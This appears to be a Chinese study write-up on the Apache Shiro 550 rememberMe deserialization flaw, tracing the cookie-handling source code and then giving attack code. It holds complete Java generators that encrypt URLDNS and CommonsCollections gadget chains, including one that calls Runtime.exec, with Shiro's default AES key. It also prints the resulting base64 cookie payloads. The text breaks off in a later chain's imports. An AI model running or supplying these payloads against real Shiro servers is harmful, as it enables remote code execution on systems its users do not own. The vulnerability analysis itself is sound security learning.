shiro550

shiro 550反序列化

影响版本为 shiro 1.x < 1.2.5

https://su18.org/post/shiro-1/

先看了下b站的白日梦组长视频:https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.999.0.0&vd_source=772372a8c6f216ba8975276dca04045e

分析

shift*2寻找cookie相关的类,找到CookieRememberMeManager

开始分析源码

看到CookieRememberMeManager.getRememberedSerializedIdentity

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

发现它会把cookie进行base664解码,得到字节数组然后return,那就find usage,看谁调用了这个函数

发现AbstractRememberMeManager.getRememberedPrincipals

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);//注意这里,它对getRememberedSerializedIdentity的返回值也就是base64解码后的值进行了调用,所以跟进去看一下这个函数
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

看到AbstractRememberMeManager.convertBytesToPrincipals对getRememberedSerializedIdentity的返回值(这里的bytes)也就是base64解码后的值进行了调用,所以跟进去看一下这个函数

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

看到convertBytesToPrincipals里面的decrypt,明显就是一个解码的函数,然后deserialize是和反序列化有关的

先跟进decrypt函数:

protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

看到先是得到一个CipherService对象(应该是值得加密类型),然后进行解密,然后把解密结果转换为字节并返回,可以看到返回的serialized就是一个可以反序列化的结果,encrypted是传进来的cookiebase64解码后的结果,现在我们看CipherService这个类,以及getDecryptionCipherKey()这个函数得到的密钥

CipherService:

发现是一个接口,没看到什么有关加密类型的信息(其实这里我是想找AES相关的字样),那就看getCipherService():

public CipherService getCipherService() {
        return cipherService;
    }

跟进cipherService属性,getCipherService()和cipherService属性是在AbstractRememberMeManager类里面,看它的构造方法给cipherService赋值什么:

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

可以看到这里的cipherService=new AesCipherService(),那很明显就是使用AES进行加解密了

现在跟进getDecryptionCipherKey():

public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }

看构造方法怎么设置这个解密密钥的

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

跟进setCipherKey:

public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

跟进setDecryptionCipherKey:

public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
        this.decryptionCipherKey = decryptionCipherKey;
    }

可以看到这里给decryptionCipherKey属性赋值为传进来的key,我们传进来的key是setCipherKey(DEFAULT_CIPHER_KEY_BYTES),跟进DEFAULT_CIPHER_KEY_BYTES:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

看到kPH+bIxk5D2deZiIxcaaaA==就是key进行base64编码的结果,这里使用的是默认key

现在跟进convertBytesToPrincipals函数里面的deserialize:

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }

调用了getSerializer().deserialize(serializedIdentity),那就去看看getSerializer()返回的对象的deserialize方法:

最终还是要跟到构造函数:

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

跟进DefaultSerializer类,看到deserialize函数:

public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();//调用readObject反序列化
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }

利用思路

根据上述的分析,可以知道它这里会对cookie进行base64解码->AES解密->反序列化,而AES解密使用的是默认密钥:kPH+bIxk5D2deZiIxcaaaA==

那反序列化利用思路就是:找到一个反序列化链,然后对它序列化->AES加密->base64编码赋值给cookie,然后最终会反序列化达到恶意目的

所以我们遇到有shiro的应用时还需要看这个项目的依赖包:比如你要用cc链,就需要有这个依赖包才能反序列化攻击成功

构造payload

我们插件查看maven依赖

image-20240815210338671

这里可以用commons-beanutils链,但是还没学过,先用urlDNS链验证,再去看commons-beanutils链

URLDNS链

package org.example;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.util.Base64;

import static sun.security.x509.CertificateAlgorithmId.ALGORITHM;


public class shiro {
    public static void main(String[] args) throws Exception {
        HashMap ht = new HashMap();
        String url = "http://9b677ede.log.dnslog.biz";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);

        //Reflection
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

        byte[] data = serialize(ht);
        String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
        SecretKey key = getKeyFromBase64(base64Key);
        byte[] ivBytes = new byte[16];
        new java.util.Random().nextBytes(ivBytes);
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        //unserialize(bytes);
        String p = getPayload(data,key,iv);
        System.out.println(p);


    }
    private static SecretKey getKeyFromBase64(String base64Key) {
        byte[] decodedKey = Base64.getDecoder().decode(base64Key);
        return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
    }
    public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, key, iv);
        byte[] encrypted = cipher.doFinal(data);
        // 将IV和加密后的数据一起编码为Base64字符串
        byte[] combined = new byte[iv.getIV().length + encrypted.length];
        System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
        System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
        return Base64.getEncoder().encodeToString(combined);
    }


//    public static void serialize(Object object) throws Exception{
//        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
//        o.writeObject(object);
//    }
//
//    public static void unserialize(String file) throws Exception{
//        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
//        in.readObject();
//    }
    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

j0EheJoiX51nFqENBNbj9KDhR75SejUMu8gmdNJNCBvRZB4VcvSo0NhmlZe3pi+SpavLW6M83SQKLoHc0U66LJORSx1pkuYc3go4xvrQQZdnBLwfEkTstmLzA9Kz9FvLkBCUbdS+fpWHPT1rBjsGSjgUR5kza5yw41FPE6+I6wwfs2l759XRZEoLJLSx4NSF7Wtu3Q8DybfcSN6OU4NsPE7uCgPxj3O9bLNVBoU1oeNSOIUl8+0jZFLElqoP6R7i4MEGx4/PPQAOzzSx8mJr2wc9ygm32fL2V7K70cmf12xoZpN6mVJ/uxLkdrGgXIkxWnUylJORMOlwfFiWXX1rhZ4bWAHlF1357pswJkhhUWpSyTXWkko9iwoQdRBmaUqXLVzOSmb1ZMOqtLw6WdpN4pvU7qONj3MqEW4iWgaOiN4=

image-20240820090046770

查看DNSLOG平台

image-20240820090122554

cc4依赖无数组

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Base64;
import java.util.PriorityQueue;


public class shiroURLDNS {
    public static void main(String[] args) throws Exception {
        //链子(cc或者cb链)
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qs");
        Field bytecode = templatesClass.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\javaSecurity\\ccTest\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = new byte[][]{code};
        bytecode.set(templates,codes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
        //size需要为2
        priorityQueue.add(templates);
        priorityQueue.add(2);
        Class t = TransformingComparator.class;
        Field ftransformer = t.getDeclaredField("transformer");
        ftransformer.setAccessible(true);
        ftransformer.set(transformingComparator,invokerTransformer);
        byte[] data = serialize(priorityQueue);
        
        //shiro payload准备(把链子的序列化结果进行相应加密)
        String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
        SecretKey key = getKeyFromBase64(base64Key);
        byte[] ivBytes = new byte[16];
        new java.util.Random().nextBytes(ivBytes);
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        //unserialize(bytes);
        String p = getPayload(data,key,iv);
        System.out.println(p);


    }
    private static SecretKey getKeyFromBase64(String base64Key) {
            byte[] decodedKey = Base64.getDecoder().decode(base64Key);
        return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
    }
    public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, key, iv);
        byte[] encrypted = cipher.doFinal(data);
        // 将IV和加密后的数据一起编码为Base64字符串
        byte[] combined = new byte[iv.getIV().length + encrypted.length];
        System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
        System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
        return Base64.getEncoder().encodeToString(combined);
    }

    
    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

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

cc4依赖有数组

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;


public class shiroPayload {
    public static void main(String[] args) throws Exception {
        //链子(cc或者cb链)
        org.apache.commons.collections4.Transformer[] transformers = new Transformer[]{
                new org.apache.commons.collections4.functors.ConstantTransformer(Runtime.class),
                new org.apache.commons.collections4.functors.InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new org.apache.commons.collections4.functors.InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        org.apache.commons.collections4.functors.ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
        //size需要为2
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class t = TransformingComparator.class;
        Field ftransformer = t.getDeclaredField("transformer");
        ftransformer.setAccessible(true);
        ftransformer.set(transformingComparator,chainedTransformer);
        byte[] data = serialize(priorityQueue);

        //shiro payload准备(把链子的序列化结果进行相应加密)
        String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
        SecretKey key = getKeyFromBase64(base64Key);
        byte[] ivBytes = new byte[16];
        new java.util.Random().nextBytes(ivBytes);
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        //unserialize(bytes);
        String p = getPayload(data,key,iv);
        System.out.println(p);


    }
    private static SecretKey getKeyFromBase64(String base64Key) {
            byte[] decodedKey = Base64.getDecoder().decode(base64Key);
        return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
    }
    public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, key, iv);
        byte[] encrypted = cipher.doFinal(data);
        // 将IV和加密后的数据一起编码为Base64字符串
        byte[] combined = new byte[iv.getIV().length + encrypted.length];
        System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
        System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
        return Base64.getEncoder().encodeToString(combined);
    }


    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

Rga+hvq0s/muAKnrnrqBQx7XChayNDVyZsADfmZ4oqMf8DpNrHTj5cQ4qLf6h9ALEjH2bPqMXo5ch2BRB6VX3LXQHGzJ8guOJF9wPGpsYfs4qArOg6Qc/QZuxcP7Y0GKKPRn/VYuIIb3UDJELmGL+yRBdJjc2AtKWP5K/JqxRWGP5JSVoNmgGlGT5nP+lnmUw/XeCSZ5ehSlvfQD/zx1liqNShNbc/G/T5lSvCOWNK3f/7FbIsngDXXPaTlOvqFFV+8jtsAdaFMMCajAjaC7tPccjOGh8vF+YBz+CeHFUK/15aeDr6hWwqqESWpYydld1o/VrxvDVsLOvkBCqypbHl4q0P95LYNHPJeerz2QGUFt1hY3vyxv71QMM1mZ4fMbFW12pF4jqZR2KbhLkxo4TeMwSo89NA1iPcdLo82JC5z0dCaA7XsEMaYJFJ5y35qY8qP6smWO1VhsOuhD4/6i+g2D1ORjYKxYsRkbZnfbNYCer1wCsWVCVlRDKWtLIBAxleDR1JsfReKlSBqnXd8OhrsXOjOhrTv6KCcJuqhnCKbEN1NLW7xKbBpKmfDWnLHA732+er9Svo+6bRle3gT2YOyyW5z9B4OS27NupCB/lofDoGtIc8PnxHDUd8FjaLxy6Glml3j77Q45z5AdICDPUd8H64Nxpv6om7+NA8jLhS7g7vsxm6ClIe2QNq+0Npv/y4ybLjzStPS7ohQQ3dvoEmgUtlfHqp6PqRn5nb/8Ko3gnDokF1uYL2smra1+rEyHw/5UTK7+QdA7h4mBN28KRPlaqqJgcj+5MlfzBKl2/usfA+rSS5TdsugHDtKv6I2vIQk3fk62i3+GcYGFQBCk1dgY2Rq+o+NEfGtvo/psHnmT7+Ry3zY0dnt4nOsZnS+Cymbokr9DWDzMx+D0+x65S6P55A7GQzE5RfQbdH18o7Duoe94Hx9ofaLGgkkSvrsHRBXaIIMQ6QG3nNfyY7fJ3u435D4lE6QfqPXi/SxIoPhInywpga69Pb2RfKH4/p6uJM1S5okSW5New2AHvcU/EbxLV1xdbC/RDKiybqkRt3zVjpFTryNzAufRsOVGm3rNCUzz135Q9LFYAkdGNQQRyWOJjRfQzUvGiL9e4zMATAGO5H/4jrTQrck/BNszQ9PY+bMdBIFK9JLgK6QbaRm5LVjgwXMWaC9m0/XRNyzzVTo2TJacZRl0omNxyqmiIunEWYGBeHs7z3GAC10mQywLtFzvrDEBg8U5Qa5Ftz2yraADOQAGvzi68tOug4j0MRj8jD9gxRR7UivEjQAYVZxgCHwfSz8OS2/LSJpw+dY5fYkqwbwHwb8bkDAL0Qn6IHwYpqgO8hbIIQYs5RFO6FWweMBmX+rdzAen+HP9Ry8AFFRKjQduP4gPi3pvVqik1Nzg+KXZSC6QloQBMh8CnqnxlEApXwjLX+udkz7Dcg3ZbVk4jCT4g+xtVRo5x1TISJWoywcB+L+lT84Thj4xxQJjyYGzHH+Vnn0qyfQpAp5Ab6A1+04fr1WpiIpMWeutD0M+9abKy+HbTgAYz+Sr21loQadk614bOoIJL/XitGvN19WX8+azzmFElVb1RCRyp9DnXFt5smKuC+vDQNqqT8Ztcz27xiu9QgXcREXIzjqImMnaANuwtdFWEVrw9khnN4BF

发现没有计算器弹出,报错:

image-20240820110231388

看过b站白日梦组长视频:https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.999.0.0&vd_source=772372a8c6f216ba8975276dca04045e我们大概知道不能使用有数组的链去打,要属于加载器加载恶意类的cc链打

有数组链失败原因

看报错大概原因就是所有类加载器都不能加载那个Transformer类

我们看到反序列化的地方:

public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        } else {
            ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
            BufferedInputStream bis = new BufferedInputStream(bais);

            try {
                ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
                T deserialized = ois.readObject();//这里的readObject它是用的ClassResolvingObjectInputStream这个类里面的不是原生的
                ois.close();
                return deserialized;
            } catch (Exception var6) {
                String msg = "Unable to deserialze argument byte array.";
                throw new SerializationException(msg, var6);
            }
        }
    }

跟进看ClassResolvingObjectInputStream的readObject与原生有什么不一样:

public class ClassResolvingObjectInputStream extends ObjectInputStream {
    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException var3) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
        }
    }
}

这里没看到重写readObject方法,它继承了ObjectInputStream(父类是原生的readObject),那问题在哪里,看到这里重写了resolveClass,跟进分析知道原生的readObject会间接调用resolveClass,而重写的resolveClass与ObjectInputStream.resolveClass的区别就在于一个是ClassUtils.forName来加载类,一个是直接Class.forName,这里反序列化会调用重写的resolveClass方法

跟进ClassUtils.forName:

public static Class forName(String fqcn) throws UnknownClassException {
        Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
            }

            clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
        }

        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
            }

            clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
        }

        if (clazz == null) {
            String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
            throw new UnknownClassException(msg);
        } else {
            return clazz;
        }
    }

结合报错可以知道,尝试了三种类加载器都加载不了,再次看视频说是:

  1. ClassLoader.loadClass不能加载数组类
  2. Class.forName可以加载数组类
  3. 具体是因为Tomcat的机制(不知道具体是什么机制)

cc2链+cc6链

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
